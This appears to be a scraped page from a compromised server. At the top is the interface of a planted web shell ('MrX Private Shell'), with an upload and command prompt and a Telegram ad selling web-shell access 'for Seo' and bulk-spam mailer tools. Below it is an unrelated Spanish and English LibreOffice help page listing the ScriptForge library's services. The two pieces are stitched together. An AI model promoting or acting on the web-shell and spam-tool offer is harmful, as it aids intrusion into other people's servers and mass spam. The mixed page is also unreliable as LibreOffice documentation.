__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<!DOCTYPE html>
<html lang="es" dir="ltr">
<head>
<base href="../../../../../">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Bibliotecas de ScriptForge</title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="es/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="es/bookmarks.js" defer></script><script type="text/javascript" src="es/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="es/text/shared/05/new_help.html"><div></div></a><a class="logo" href="es/text/shared/05/new_help.html"><p dir="auto">Ayuda de LibreOffice 25.2</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Módulo</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contenido</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Buscar en los marcadores del módulo elegido" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">
<noscript><div id="WarnJS"><h1 dir="auto">Active JavaScript en el navegador para mostrar las páginas de ayuda de LibreOffice.</h1></div></noscript>
  <h1 id="hd_id31529004750471" dir="auto">
<a id="ScriptForge_lib"></a>La biblioteca <span class="literal">ScriptForge</span>
</h1>
  <a id="bm_id491529070339774"></a>    <meta itemprop="keywords" content="biblioteca BASIC ScriptForge">
<meta itemprop="keywords" content="módulo Python scriptforge">
  <a id="howtoget"></a><div class="howtoget">
<div><p class="howtogetheader" dir="auto"><a id="wie"></a>Para acceder a esta orden…</p></div>
<div class="howtogetbody">
    <div class="embedded">
<a id="basiclibhowtoget"></a>
    <p id="par_id631529000528928" class="paragraph" dir="auto">Abra <span class="menuitem">Herramientas ▸ Macros ▸ LibreOffice BASIC ▸ Editar</span> y seleccione el contenedor <span class="menuitem">Macros de la aplicación</span>.</p>
</div>
  </div>
</div>
<br>
    <p id="par_id681619700336879" class="paragraph" dir="auto">Las bibliotecas de ScriptForge constituyen una amplia colección de recursos de programación para LibreOffice que pueden invocarse desde macros escritas en BASIC o secuencias de órdenes escritas en Python.</p>
  <a id="importLibs"></a>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id901528999850603" dir="auto">• Para cargar la biblioteca  <span class="literal">ScriptForge</span> que necesitan las macros de Basic se debe usar la siguiente declaración:<br><span class="literal">GlobalScope.BasicLibraries.loadLibrary("ScriptForge")</span><br><br>• Los scripts de Python necesitan importar el módulo <span class="literal">scriptforge</span>:<br><span class="literal">from scriptforge import CreateScriptService</span></p></div>
</div>
<br>
  
  <div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id1001623412767893" dir="auto">Para saber más sobre cómo crear y ejecutar secuencias escritas en Python mediante la biblioteca <span class="literal">ScriptForge</span>, lea la página de la Ayuda <a target="_top" href="es/text/sbasic/shared/03/sf_intro.html">Crear secuencias de órdenes Python con ScriptForge</a>.</p></div>
</div>
<br>

  <h2 id="hd_id781637256119733" dir="auto">Invocar los servicios de ScriptForge</h2>
  <p id="par_id781606153472028" class="paragraph" dir="auto">Los módulos y las clases descritos se invocan desde secuencias de usuario como «servicios». En cada lenguaje existe un constructor genérico de estos servicios con el propósito de efectuar dicha invocación.</p>
  <p id="par_id871637256506167" class="paragraph" dir="auto">El método <span class="literal">Dispose</span> está disponible en todos los servicios y debe llamarse para liberar recursos después de su uso:</p>
  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    GlobalScope.BasicLibraries.LoadLibrary("ScriptForge")
    Set oSvc = CreateScriptService("servicename"[, arg0, arg1, ...])
    ' ...
    oSvc.Dispose()
  </code></pre></div>
  <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    from scriptforge import CreateScriptService
    svc = CreateScriptService('servicename'[, arg0, arg1, ...])
    # ...
    svc.Dispose()
  </code></pre></div>

  <h2 id="hd_id851613836643580" dir="auto">Servicios que ofrece la biblioteca ScriptForge</h2>
  <table border="1" class="sf_table" cellpadding="0" cellspacing="0">
    <thead>
      <tr>
        <th rowspan="" colspan="" class="tableheadcell" dir="auto">
          <p id="par_id131613838858931" class="tableheadintable" dir="auto">Categoría</p>
        </th>
        <th rowspan="" colspan="3" class="tableheadcell" dir="auto">
          <p id="par_id441613838858931" class="tableheadintable" dir="auto">Servicios</p>
        </th>
      </tr>
    </thead>
    <tr>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id851613847558931" class="tablecontentintable" dir="auto">LibreOffice BASIC</p>
       </td>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id581613836728425" class="tablecontentintable" dir="auto">
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Array">Array</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Dictionary">Dictionary</a><br>
         </p>
       </td>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id731613840022120" class="tablecontentintable" dir="auto">
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Exception">Exception</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#FileSystem">FileSystem</a><br>
         </p>
       </td>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id701643305576028" class="tablecontentintable" dir="auto">
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#String">String</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#TextStream">TextStream</a><br>
         </p>
       </td>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
         <p id="par_id131613838825831" class="tablecontentintable" dir="auto">Contenido del documento</p>
       </td>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id771613836902464" class="paragraphintable" dir="auto">
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Base">Base</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Calc">Calc</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Chart">Chart</a><br>
         </p>
       </td>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id441543838858931" class="tablecontentintable" dir="auto">
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Database">Database</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Dataset">Dataset</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Datasheet">Datasheet</a><br>
         </p>
       </td>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id701643305576137" class="tablecontentintable" dir="auto">
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Document">Document</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#FormDocument">FormDocument</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Writer">Writer</a><br>
         </p>
       </td>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
         <p id="par_id131613947858931" class="tablecontentintable" dir="auto">Interfaz de usuario</p>
       </td>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id481613837033056" class="tablecontentintable" dir="auto">
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Dialog">Dialog</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#DialogControl">DialogControl</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Form">Form</a><br>
         </p>
       </td>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id441613885558931" class="tablecontentintable" dir="auto">
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#FormControl">FormControl</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Menu">Menu</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#PopupMenu">PopupMenu</a><br>
         </p>
       </td>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id701643305576632" class="tablecontentintable" dir="auto">
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Toolbar">Toolbar</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#ToolbarButton">ToolbarButton</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#UI">UI</a><br>
         </p>
       </td>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
         <p id="par_id131613866258931" class="tablecontentintable" dir="auto">Utilidades</p>
       </td>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id461613837133275" class="tablecontentintable" dir="auto">
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Basic">Basic</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#L10N">L10N</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Platform">Platform</a><br>
         </p>
       </td>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id441613723858931" class="tablecontentintable" dir="auto">
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Region">Region</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Services">Services</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Session">Session</a><br>
         </p>
       </td>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id701643305572058" class="tablecontentintable" dir="auto">
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#Timer">Timer</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/lib_ScriptForge.html#UnitTest">UnitTest</a><br><br>
         </p>
       </td>
    </tr>
  </table>
<br>
    <a id="Array"></a>
      <div class="embedded">
<a id="abstract"></a>
  

  <h2 id="bm_id781582391760253" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_array.html">Servicio <span class="literal">ScriptForge</span>.<span class="literal">Array</span></a></h2>
  <p id="par_id991582454416549" class="paragraph" dir="auto">Facilita una colección de métodos para manipular y transformar formaciones de una dimensión (vectores) y de dos (matrices). La colección incluye operaciones de conjunto, ordenación, importación y exportación a partir de archivos de texto.</p>
  <p id="par_id681609955015503" class="paragraph" dir="auto">Las matrices con más de dos dimensiones no pueden utilizarse con los métodos de este servicio, siendo la única excepción el método <span class="literal">CountDims</span>, que acepta matrices con cualquier número de dimensiones.</p>
</div>
    
    <a id="Base"></a>
      <div class="embedded">
<a id="abstract"></a>
  
  <h2 id="bm_id781582391760253" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_base.html">Servicio <span class="literal">SFDocuments</span>.<span class="literal">Base</span></a></h2>

  <p id="par_id901619031958273" class="paragraph" dir="auto">El servicio <span class="literal">Base</span> proporciona diversos métodos y propiedades que facilitan la gestión y la manipulación de los documentos de LibreOffice Base.</p>
  <p id="par_id961619032060880" class="paragraph" dir="auto">Este servicio está estrechamente relacionado con el servicio <span class="literal">Document</span>, que brinda métodos genéricos para manipular documentos de LibreOffice, incluidos los de Base. De ahí que el servicio <span class="literal">Base</span> amplíe <span class="literal">Document</span> y ofrezca métodos adicionales específicos para los documentos de Base, permitiendo a los usuarios:</p>
  <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id241619032289964" class="listitem" dir="auto">Obtener acceso a la base de datos contenida en un documento de Base.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id291619032292829" class="listitem" dir="auto">Abrir los documentos de formulario almacenados en un documento de Base.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id421619032296454" class="listitem" dir="auto">Comprobar si un formulario de un documento de Base se encuentra cargado.</p>
    </li>
</ul>
</div>
    
    <a id="Basic"></a>
      <div class="embedded">
<a id="abstract"></a>
    <h2 id="hd_id731582733781114" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_basic.html">Servicio <span class="literal">ScriptForge</span>.<span class="literal">Basic</span></a></h2>
  <p id="par_id381589189355849" class="paragraph" dir="auto">El servicio <span class="literal">ScriptForge.Basic</span> ofrece una colección de métodos de LibreOffice BASIC que ejecutar en un contexto Python. Los métodos del servicio <span class="literal">Basic</span> reproducen con exactitud la sintaxis y el comportamiento de las funciones incorporadas de BASIC.</p>
</div>
    
    <a id="Calc"></a>
      <div class="embedded">
<a id="abstract"></a>
    <h2 id="hd_id731582733781114" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_calc.html"><span class="literal">SFDocuments</span>.<span class="literal">Calc</span> service</a></h2>
    <p id="par_id381589189355849" class="paragraph" dir="auto">The <span class="literal">SFDocuments</span> shared library provides a number of methods and properties to facilitate the management and handling of LibreOffice documents.</p>
    <p id="par_id351591014177269" class="paragraph" dir="auto">The <span class="literal">SFDocuments.Calc</span> service is a subclass of the <a target="_top" href="es/text/sbasic/shared/03/sf_document.html"><span class="literal">SFDocuments.Document</span></a> service. All methods and properties defined for the <span class="literal">Document</span> service can also be accessed using a <span class="literal">Calc</span> service instance.</p>
    <p id="par_id591589189364267" class="paragraph" dir="auto">The <span class="literal">Calc</span> service is focused on:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
        <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
            <p id="par_id891589189452545" class="listitem" dir="auto">Handling sheets within a Calc document (copy, insert, move, etc)</p>
        </li>
        <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
            <p id="par_id811589189463041" class="listitem" dir="auto">Exchanging data between Basic data structures and Calc ranges</p>
        </li>
        <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
            <p id="par_id141599569935662" class="listitem" dir="auto">Copying and importing massive amounts of data</p>
        </li>
    </ul>
</div>
    
    <a id="Chart"></a>
      <div class="embedded">
<a id="abstract"></a>
    <h2 id="bm_id681600788076499" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_chart.html">Servicio <span class="literal">SFDocuments</span>.<span class="literal">Chart</span></a></h2>
    <p id="par_id181600788076612" class="paragraph" dir="auto">The <span class="literal">Chart</span> service provides a set of properties and methods to handle charts in Calc documents. With this service it is possible to:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id301600788076785" class="listitem" dir="auto">Acceder a los objetos de gráfico en los documentos de Calc y manipular sus propiedades.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id1001600788076848" class="listitem" dir="auto">Crear e insertar gráficos nuevos en un documento de Calc.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id67160078807676" class="listitem" dir="auto">Exportar los gráficos como archivos de imagen.</p>
      </li>
    </ul>
  </div>
    
    <a id="Database"></a>
      <div class="embedded">
<a id="abstract"></a>
    <h2 id="hd_id371587913266310" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_database.html"><span class="literal">SFDatabases</span>.<span class="literal">Database</span> service</a></h2>
    <p id="par_id891599407198144" class="paragraph" dir="auto">The <span class="literal">Database</span> service provides access to databases either embedded or described in Base documents. This service provides methods to:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id551615386924481" class="listitem" dir="auto">Get access to data in database tables.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id551615386924285" class="listitem" dir="auto">Run <span class="literal">SELECT</span> queries and perform aggregate functions.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id551615386924111" class="listitem" dir="auto">Run SQL action statements such as <span class="literal">INSERT</span>, <span class="literal">UPDATE</span>, <span class="literal">DELETE</span>, etc.</p>
      </li>
    </ul>
</div>
    
    <a id="Dataset"></a>
      <div class="embedded">
<a id="abstract"></a>
    <h2 id="hd_id731582733781114" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_dataset.html">Servicio <span class="literal">SFDatabases</span>.<span class="literal">Dataset</span></a></h2>
    <p id="par_id571700837631557" class="paragraph" dir="auto">The <span class="literal">Dataset</span> service is used to represent tabular data produced by a database. With this service it is possible to:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id891589189452545" class="listitem" dir="auto">Navigate through and access the data in a dataset.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id811589189463041" class="listitem" dir="auto">Update, insert and remove records in a dataset.</p>
      </li>
    </ul>
  </div>
    
    <a id="Datasheet"></a>
      <div class="embedded">
<a id="abstract"></a>
  
  <h2 id="bm_id781582391760253" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_datasheet.html">Servicio <span class="literal">SFDatabases</span>.<span class="literal">Datasheet</span></a></h2>
  <p id="par_id901619031958273" class="paragraph" dir="auto">The <span class="literal">Datasheet</span> service allows to visualize the contents of database tables as well as the results of queries and SQL statements using Base's Data View. Additionally, this service allows to:</p>
  <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id241619032289964" class="listitem" dir="auto">Add custom menus to the data view.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id291619032292829" class="listitem" dir="auto">Access values in specific positions of the data view.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id421619032296454" class="listitem" dir="auto">Position the cursor in a specific cell of the data view.</p>
    </li>
</ul>
</div>
    
    <a id="Dialog"></a>
      <div class="embedded">
<a id="abstract"></a>
  <h2 id="bm_id781582391760253" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_dialog.html"><span class="literal">SFDialogs</span>.<span class="literal">Dialog</span> service</a></h2>
  <p id="par_id931583589764919" class="paragraph" dir="auto">The <span class="literal">Dialog</span> service contributes to the management of dialogs created with the Basic <a target="_top" href="es/text/sbasic/guide/create_dialog.html">Dialog Editor</a> or dialogs created on-the-fly. Each instance of the current class represents a single dialog box displayed to the user.</p>
</div>
    
    <a id="DialogControl"></a>
      <div class="embedded">
<a id="abstract"></a>
   
  <h2 id="bm_id781582391760253" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_dialogcontrol.html"><span class="literal">SFDialogs</span>.<span class="literal">DialogControl</span> service</a></h2>
  <p id="par_id931583589764919" class="paragraph" dir="auto">The <span class="literal">DialogControl</span> service manages the controls belonging to a dialog defined with the Basic <a target="_top" href="es/text/sbasic/guide/create_dialog.html">Dialog Editor</a>. Each instance of the current service represents a single control within a dialog box.</p>
  
  <p id="par_id701598191157426" class="paragraph" dir="auto">The focus is set on getting and setting the values displayed by the controls of the dialog box. Formatting is accessible via the <span class="literal">XControlModel</span> and <span class="literal">XControlView</span> properties.</p>
  <p id="par_id981598191184526" class="paragraph" dir="auto">Note that the unique <span class="literal">DialogControl.Value</span> property content varies according to the control type.</p>
  <p id="par_id991612698027551" class="paragraph" dir="auto">A special attention is given to controls of type tree control. It is easy to populate a tree, either branch by branch, or with a set of branches at once. Populating a tree control can be performed statically or dynamically.</p>
</div>
    
    <a id="Dictionary"></a>
      <div class="embedded">
<a id="abstract"></a>
  

  <h2 id="hd_id731582733781114" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_dictionary.html"><span class="literal">ScriptForge</span>.<span class="literal">Dictionary</span> service</a></h2>

  <p id="par_id891582884466217" class="paragraph" dir="auto">A dictionary is a collection of key-item pairs</p>
  <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto"><p id="par_id861582884516571" class="listitem" dir="auto">The key is a case-insensitive string</p></li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto"><p id="par_id531582884549542" class="listitem" dir="auto">Items may be of any type</p></li>
  </ul>
</div>
    
    <a id="Document"></a>
      <div class="embedded">
<a id="abstract"></a>
    <h2 id="hd_id731582733781114" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_document.html">Servicio <span class="literal">SFDocuments</span>.<span class="literal">Document</span></a></h2>
  <p id="par_id381589189355849" class="paragraph" dir="auto">The <span class="literal">SFDocuments</span> library provides methods and properties to facilitate the management and manipulation of LibreOffice documents.</p>
  <p id="par_id591589189364267" class="paragraph" dir="auto">Methods that are applicable for all types of documents (Text Documents, Sheets, Presentations, etc) are provided by the <span class="literal">SFDocuments.Document</span> service. Some examples are:</p>
  <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
  <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
    <p id="par_id891589189452545" class="listitem" dir="auto">Abrir, cerrar y guardar documentos</p>
  </li>
  <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
    <p id="par_id811589189463041" class="listitem" dir="auto">Acceder a propiedades estándares o personalizadas de los documentos</p>
  </li>
  </ul>
</div>
    
    <a id="Exception"></a>
      <div class="embedded">
<a id="abstract"></a>
  
  <h2 id="hd_id521580038927003" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_exception.html">Servicio <span class="literal">ScriptForge</span>.<span class="literal">Exception</span></a></h2>
  <p id="par_id181587139648008" class="paragraph" dir="auto">The <span class="literal">Exception</span> service is a collection of methods to assist in code debugging in Basic and Python scripts and in error handling in Basic scripts.</p>
  <p id="par_id141587140927573" class="paragraph" dir="auto">In <span class="emph">Basic scripts</span>, when a run-time error occurs, the methods and properties of the <span class="literal">Exception</span> service help identify the error context and allow to handle it.</p>
</div>
    
    <a id="FileSystem"></a>
      <div class="embedded">
<a id="abstract"></a>
  <h2 id="bm_id781582391760253" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_filesystem.html">Servicio <span class="literal">ScriptForge</span>.<span class="literal">FileSystem</span></a></h2>
  <p id="par_id931583589764919" class="paragraph" dir="auto">The <span class="literal">FileSystem</span> service includes routines to handle files and folders. Next are some examples of the features provided by this service:</p>
  <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id121612917070593" class="listitem" dir="auto">Verify whether a file or folder exists.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id121612917070594" class="listitem" dir="auto">Create and delete folders and files.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id121612917070595" class="listitem" dir="auto">Launch dialog boxes to open/save files.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id121612917070596" class="listitem" dir="auto">Access the list of files in a folder, etc.</p>
    </li>
  </ul>
</div>
    
    <a id="Form"></a>
      <div class="embedded">
<a id="abstract"></a>
  <h2 id="bm_id781582391760253" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_form.html"><span class="literal">SFDocuments</span>.<span class="literal">Form</span> service</a></h2>
  <p id="par_id931583589764919" class="paragraph" dir="auto">The <span class="literal">Form</span> service provides methods and properties to manage forms in LibreOffice documents. This service supports forms in Base, Calc and Writer documents and allows to:</p>
  <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id381618172063851" class="listitem" dir="auto">Open and activate forms.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id261618172129782" class="listitem" dir="auto">Navigate through records shown by the form.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id281618172141607" class="listitem" dir="auto">Get access to the controls inside the form.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id371618172155483" class="listitem" dir="auto">Get access to subforms of a parent form.</p>
    </li>
  </ul>
</div>
    
    <a id="FormControl"></a>
      <div class="embedded">
<a id="abstract"></a>
  <h2 id="bm_id781582391760253" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_formcontrol.html"><span class="literal">SFDocuments</span>.<span class="literal">FormControl</span> service</a></h2>
  <p id="par_id931583589764919" class="paragraph" dir="auto">The <span class="literal">FormControl</span> service provides access to the controls that belong to a form, a subform or a table control of a <span class="literal">FormDocument</span>. Each instance of the <span class="literal">FormControl</span> service refers to a single control in the form. This service allows users to:</p>
  <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id451618771561326" class="listitem" dir="auto">Get and set the properties of the control represented by the <span class="literal">FormControl</span> instance.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id601618771565183" class="listitem" dir="auto">Access the current value displayed by the control.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id981618771567951" class="listitem" dir="auto">Set the focus on the desired control.</p>
    </li>
  </ul>
</div>
    
    <a id="FormDocument"></a>
      <div class="embedded">
<a id="abstract"></a>
    <h2 id="bm_id781582391760253" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_formdocument.html"><span class="literal">SFDocuments</span>.<span class="literal">FormDocument</span> service</a></h2>
    <p id="par_id321692486382326" class="paragraph" dir="auto">The <span class="literal">FormDocument</span> service allows to access form documents stored in LibreOffice Base documents.</p>
    <p id="par_id621692487292145" class="paragraph" dir="auto">In a Base document, existing form documents can be viewed by selecting <span class="menuitem">View - Forms</span> in the user interface. Each form document may be composed of one or more forms, including the main form and other sub-forms.</p>
  </div>
    
    <a id="L10N"></a>
      <div class="embedded">
<a id="abstract"></a>
    <h2 id="hd_id521585843652750" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_l10n.html">Servicio <span class="literal">ScriptForge</span>.<span class="literal">L10N</span></a></h2>
